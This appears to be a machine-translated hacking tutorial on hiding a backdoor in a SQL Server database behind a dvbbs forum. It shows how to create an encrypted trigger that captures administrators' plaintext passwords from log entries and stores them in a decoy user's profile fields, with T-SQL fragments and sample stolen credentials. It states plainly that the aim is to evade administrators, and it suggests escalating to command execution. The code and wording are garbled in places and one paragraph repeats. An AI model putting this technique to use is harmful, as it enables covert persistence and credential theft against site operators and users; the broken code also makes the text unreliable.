SQL SERVER security risks-triggers

Trigger permission and ownership

By default, the create trigger permission is granted to the table owner, sysadmin fixed server role members, db_owner, and db_ddladmin fixed database role members who define the TRIGGER, and cannot be transferred.

Required Environment

The environment required in this article is that you have obtained one of the preceding permissions of the SQL Server, in order to leave a hidden backdoor that is not discovered by the Administrator. Even if it is found, it is encrypted (it can be cracked, but some administrators do not understand it, and do not pay attention to it. The related information is google ).

Body:

A trigger is a stored procedure that is automatically executed when a table is inserted (insert), updated (update), or deleted (delete. The most common method is to record the history of sensitive data operations.

This article takes the online forum dvbbs as an example. We have obtained the db_owner permission (Note: it does not mean that the dvbbs itself has a vulnerability ). Because it is only the db_owner permission, the reader wants to execute "xp_mongoshell" and will not be in the scope of this article. I believe that after reading this article, as long as there is a system permission, making a system backdoor is also simple. Let's first think about what we usually do and care about when using databases.

Why use a trigger as a backdoor?

The Administrator first executes the SQL file and then imports the mdb content. At most backups are usually used to restore the content. Generally, no one looks at the trigger content. You can run the "exec sp_helptrigger dv_admin" command to view the trigger, or select "manage trigger" in the Enterprise Manager ". Because the trigger is not used at all for the Internet, and the trigger is not mentioned, the Internet administrator will not check the trigger. Therefore, the content we write in it is relatively safe.

Ideas

The trigger is mainly used to record the history. Of course, you can change the administrator password and add the user's history. Put it in a place that the Administrator usually does not pay attention to and can be seen by common users.

The password of the mobile network is encrypted by md5, And the encryption operation is completed by the asp program on the server. When the database obtains the data, it is encrypted. However, it is convenient for us to add the password to the dv_log table in plaintext at the same time. As long as you get the content of the l_content field in the dv_log table and determine whether the Administrator is performing sensitive operations, the backdoor concept is formed.

Usage process-code parsing

Code snippet: Create a trigger.

Create trigger dv_admin_history
On Dv_log
With encryption
For insertas
As

The trigger must be created on the Dv_log table, where the plaintext password is entered. We do not know how long the administrator password is set. We can only retrieve all the fields with the password. The trigger should be encrypted. After encryption, even if the Administrator sees the trigger, he does not know what it is. Execute the trigger when inserting (adding) data.

The obtained value should be placed in a place that common users can see, so that they can see the password as long as they have the permissions of common users. Field administrators who have the maximum data storage capacity in a database are usually able to see it. Therefore, you must find a place that the Administrator will not check, and other users will not pay attention.

I chose to put it in the user information of a new user (hereinafter referred to as this user as "Wang Cai", kindly), so that we can see it at login (note: logs are logged during login, And the last logon ip address is recorded. You can solve the problem by yourself ).

The following fields are suitable for storage:

1. Userphoto, field type: varchar (255 ). Recorded the photo address of Wang Cai. It can store less than 255 of data.

2. Usersign. Field Type: varchar (255 ). If Wang Cai's signature is put here, Wang Cai will not be able to post it, otherwise the consequences will be at your own risk (the post will display the signature, and everyone on Earth will see it ).

3. Useremail, field type: nvarchar (255 ). Wang Cai's email needs to be converted for use.

4. Userinfo. Field Type: text. Wang Cai's user information. This field is special and has many "", each of which has different meanings. The Internet is very lazy. In order to avoid too many fields, a pile of information is put into one field and separated by "". When querying a certain item of information, all information is obtained, next, we split it into the required data.

Problems to be Solved:

1. If all of them are full.

In theory, if we see something in the first field, take notes and delete it. The trigger automatically checks the size and continues to use it. I would like to emphasize that the examples in this article are specific to the dynamic network.

2. There are a lot of logs in the Administrator's log. How can I determine that it is recording and changing the password.

When the Administrator operates a user, the user will be operated in "user. asp" or "admin. asp". Therefore, we need to determine the conditions:

Select @ passinfo = l_content from inserted where l_type = 1 and (l_touser = user. asp or l_touser = admin. asp)
When l_touser is user. asp or admin. asp, the Administrator is operating (viewing, updating, and deleting) the user or administrator. When l_type = 1, the update operation is performed. The Rochelle content field contains a password (if the administrator updates the password or creates a new account ). Therefore, to query the l_content In the inserted Table, assign the value to @ passinfo.
Code snippet: updates the usersign field of Wang Cai.

If (len (@ usersign) <150 or @ usersign is null)
Begin if (@ usersign is null)
Set @ usersign =
Set @ passinfo = @ usersign + @ passinfo
Update Dv_User set usersign = @ passinfo where username = @ username
Commit tran
Returnend
End

When updating for the first time, Wang Cai's usersign field contains no content, while the addition of null in sqlserver is null. Therefore, after determining whether it is null, assign null a space. The methods for other fields are similar to those in this example, but there are more points when converting the combination of nvarchar and. The final judgment will not be written if there are too many fields. To improve the performance, you can also write the final judgment in front. Once there is too much data, you do not need to continue the execution.

When updating for the first time, Wang Cai's usersign field contains no content, while the addition of null in sqlserver is null. Therefore, after determining whether it is null, assign null a space. The methods for other fields are similar to those in this example, but there are more points when converting the combination of nvarchar and. The final judgment will not be written if there are too many fields. To improve the performance, you can also write the final judgment in front. Once there is too much data, you do not need to continue the execution.

Use process-use a trigger to leave a backdoor

Steps:

1. Set up iis locally. The administrator password is admin, admin999, and admin999.

2. register the user "Wang Cai ".

3. Add a background User: kxlzx. The password is hahaha and the foreground user is kxlzx.

4. log on to the Administrator and change the password to admin888.

5. Use "Wang Cai" to log in and view personal information.

Connect to the database server by using the query analyzer or other things that can execute SQL.

　　

Modify bbbbbb to the new username "Wang Cai" and run the code to create a trigger. It can only be created once. If you need to change it, change the create trigger at the beginning of the Code to alter trigger. After the user is created, the Administrator only needs to update the user, and records it to the corresponding field. Use the Enterprise Manager to view the trigger.

　　

 

When it is enabled, it is displayed:

/***** Encrypted object is not transferable, and script can not be generated .******/

　　

 

The encryption trigger is invisible, and the administrator cannot know what is written in it. In any case, the Administrator may think of it as something inherent in the mobile network.

The Administrator is hooked up.

Log on to the background as an administrator and add a background administrator, kxlzx, and cnxhacker.com. Front-end user, kxlzx. Change the administrator password to admin888.
Log on to "Wang Cai" and check your personal information:

　　

 

"Wang Cai"'s personal photo has become:

Username2 = kxlzx & password2 = primary & username1 = kxlzx & isdisp = 1 & Submit = % CC % ED + % BC % D3oldusername = admin & username2 = admin & password2 = admin888 & AddAcceptIP = & adduser = admin & id = 1 & Submit = % B8 % FC + % D0 % C2

It can be seen that there are two pieces of information, one is the kxlzx password: cnxhacker.com, and the other is the admin password admin888.

If you continue to operate on the Administrator, the data in the Administrator continues to increase, knowing that the number is greater than varchar (150), and then writing other fields, and so on.

The above is just an example. The trigger is very powerful. If you can obtain the database sa permission, you can even execute xp_mongoshell and other passionate operations. It is hoped that the reader will not simply regard this article as a tool, but as a train of thought to have a broader space.